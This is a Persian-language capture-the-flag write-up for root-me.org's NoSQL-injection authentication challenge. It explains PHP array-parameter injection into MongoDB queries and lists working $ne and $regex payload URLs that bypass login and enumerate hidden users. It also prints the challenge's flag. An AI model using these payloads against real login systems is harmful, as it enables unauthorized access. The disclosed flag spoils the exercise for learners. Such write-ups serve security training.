سلام خدمت خوانندگان عزیز، امروز با حل یکی از پیکارهای تارنمای http://www.root-me.org در خدمت شما هستم. پیکاری که مد نظر من هست امروز NoSQL injection - authentication میباشد که از لینک زیر قابل دسترسی است:
http://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-authentication
صورت سوال مطرح میکند "Find the username of the hidden user"، پس هدف از حل این پیکار، کشف نام کاربری پنهان در سامانه میباشد. برای انجام عملیات تزریق به منبع، شناسایی توابع و بردایهای حمله کمک بسزایی میکند. سورس پیشنهادی خود تارنما برای مطالعه در این لینک زیر موجود است. مشکل تزریق به MongoDB از اینجا شروع میشود که PHP قابلیت تعریف یک آرایه را به کاربر میدهد:
<?php @var_dump($_GET['str']); ?> // test.php?str=test string 'test' (length=4) // test.php?str[]=test array (size=1) 0 => string 'test' (length=4) // test.php?str[test][]=test array (size=1) 'test' => array (size=1) 0 => string 'test' (length=4)
در چالش پیشروی نیز، سورس صفحه این گونه پیشبینی میشود:
$users->find(array("username" => $_GET['username'], "passwd" => $_GET['password']));
که معادل دستور MySQL زیر میباشد:
mysql_query("SELECT * FROM users WHERE username='" . $_GET['username'] . "' AND passwd='" . $_GET['password']) . "'");
و به این نکته نیز توجه داریم که:
$users->find(array("username" => array("$ne" => 1), "password" => array("$ne" => 1)));
نیز معادل:
mysql_query("SELECT * FROM users WHERE username!='1' AND passwd!='1'");
بوده، که اولین سطر از دادههای پایگاهداده را برمیگرداند. حال با تعریف کردن یک آرایه با اندیس ne$ و کلید ۱، برای حل این پیکار اقدام میکنیم:
http://challenge01.root-me.org/web-serveur/ch38/?login[$ne]=1&amp;amp;pass[$ne]=1
همانطور که پیشبینی میشد، با اولین نام کاربری اصالتسنجی انجام شد. از آنجا که پیکار با یافتن نام کاربری دیگری حل میشود، بلافاصله با نام کاربری غیر از admin عملیات اصالتسنجی را انجام می دهیم:
http://challenge01.root-me.org/web-serveur/ch38/?login[$ne]=admin&amp;amp;pass[$ne]=1
که با کاربر test لاگین میشویم که کاربر بعدی میباشد. از این مرحله به بعد، راه حلهای متعددی برای رسیدن به کاربر پنهان موجود است. مستندهای MongoDB کمک بهسزایی در این زمنیه میکند:
https://docs.mongodb.org/manual/reference/operator/query-evaluation
https://docs.mongodb.org/manual/reference/operator/query-comparison
عملگری که برای حل پیکار در این نوشتار انتخاب شده، عملگر regex میباشد. برای کشف کاربر پنهان از طریق regex چندین راه وجود دارد:
راه اول: انجام عملیات فازینگ بر روی حرف:
http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=^f.*$&amp;amp;pass[$ne]=1
نام کاربری پنهان را افشا میکند:
You are connected as : flag{nosqli_no_secret_4_you}
که البته این روش جامعی نمیباشد، چرا که اگر ساختار پایگاه داده بهصورت زیر باشد:
id user 8 flux 15 flag{nosqli_no_secret_4_you} 16 fly
این روش نا کارآمد بوده و باید جستجو بر اساس حروف دوم الی آخر انجام شود.
راه دوم: بر اساس طول رشته میباشد:
http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=\S{4}&amp;amp;pass[$ne]=1 //login as test
http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=\S{5}&amp;amp;pass[$ne]=1 //login as admin
http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=\S{6}&amp;amp;pass[$ne]=1 //flag
با توجه به اینکه تنها ۳ کاربر درون پایگاه داده وجود دارد و کاربر پنهان، بیشترین طول را دارد، این روش نیز یک راه حل میباشد.
راه سوم: این راه حل به نظر من منطقیترین (نه لزوما سریعترین) راه حل بهصورت کلی میباشد. بدین صورت که با به دست آوردن اولی نام کاربری، کافی است شرط منفی را برای نام کاربری از طریق regular expression اجرا کرده تا کاربرهای دیگر را بهدست آوریم. ترتیب ارسال درخواستها بهصورت زیر است:
http://challenge01.root-me.org/web-serveur/ch38/?login[$ne]=1&amp;amp;pass[$ne]=1 //reveals admin
http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=[^admin]$&amp;amp;pass[$ne]=1 //reveals test
http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=[^admin|test]$&amp;amp;pass[$ne]=1 //reveals flag
که منجر به حل پیکار میشود.
برای چالشهای دیگه اگه به مشکل خوردید، لینک رو کامنت بزارید، تعداد زیاد شد راه حل منتشر میکنم.